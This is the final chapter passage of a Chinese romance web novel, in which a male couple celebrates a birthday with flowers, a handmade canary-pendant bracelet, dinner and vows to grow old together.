温昭阳牵住他的手，拿在手里揉捏：“哪有你对我的好呢，像父亲一样把我养大，供我读书，生活费，接我放学，给我做饭。” 秦南深嘴角勾起，一脸坏笑凑过来：“那你叫我声爸爸。” 温昭阳：“？” “秦南深！你变态啊！” 秦南深摸了摸他脑袋：“噗——阳阳生气的时候太少见了，好可爱，在我眼里，似乎还是小朋友。” …… 秦家。 温昭阳回到家后，在玄关处换鞋的时候，看见茶几上面还有一捧粉白色的玫瑰花，看起来很清新的感觉。 “真漂亮，你每年都这么浪漫。” 温昭阳拿起花，低头闻了闻，一股淡淡的清香。 “老夫老妻也是需要仪式感的。” 秦南深把饭菜端出来，点燃桌上的两根蜡烛，关掉客厅的电灯，画面看起来很温馨，他拿出一个礼盒递过来：“生日快乐。” 温昭阳捂住脸：“我都不好意思了，这都是小孩子喜欢的浪漫方式。” “你不是小孩子嘛？” 在秦南深眼里，爱人永远都是小朋友。 “才不是。” 温昭阳走过来，接过礼盒问：“这又是什么哇。” 他拆开，看见里面是一条银色的手链，温昭阳仔细低头看，发现那个吊坠的形状，是一只小鸟，和啾啾长得一模一样，圆圆的特别可爱。 “哇！你做的吗？我好喜欢。” 温昭阳立马吹了声哨子，阳台正在睡觉的金丝雀睁开眼，扑棱翅膀就飞了过来。 金丝雀的寿命大概在八到十二年，营养喂食、环境好的话还有活到十五年的，温昭阳自从学了宠物营养食物配比后，啾啾羽毛也是长得越来越好，看起来还很精神。 “啾啾，看，你爸爸做了个你。” 温昭阳把手链戴在手腕上，抬起手晃了晃，金丝雀跑过去，啄了啄。 “叽！” 秦南深摸了摸小鸟的脑袋：“啾啾的年龄越来越大，它或许还能陪你几年，希望走后你也不要太难过，这个手链当作一个永远陪在身边的念想。” “秦南深，谢谢你，每年都给我送各种各样的礼物。” 温昭阳笑道。 “跟我客气什么。” 两人坐在餐桌前面，秦南深切开了牛排，放在他面前说：“上班累吗？我知道你去心外科是为了我，这个科室很累的，压力也很大。” “不累，每天能救很多患者，我心里很开心。” 温昭阳张开嘴，咬了口牛排，“好吃，你的手艺越来越好了。” 秦南深坐在他身旁，拿出纸巾替他擦了擦嘴，说：“阳阳，假如我只能活到五十岁，或者六十岁，你不用太费心思的为我奔波，我比你大八岁，一定是走在你前面。” 温昭阳扬起唇笑了笑，他说：“如果你活到六十岁，我就活到五十二。我说过，会永远陪你，未来哪怕是离开，也要一起。” 秦南深听到这句话也并没有反驳，因为他知道，一个人孤零零的留在世上会有多痛苦。 “那就希望我们能长命百岁。” 秦南深拿起酒杯说。 温昭阳拿起红酒高脚杯，和他碰了下：“长命百岁。” 秦南深把蛋糕打开，插了几根蜡烛点燃：“阳阳，许愿。” 蛋糕中间的蜡烛映着温昭阳的眼眸，他静立片刻，闭眼默念生日心愿，唯有最简单也最恳切的期许。 秦南深此生，永远平安，健康无忧。 …… 【全文完】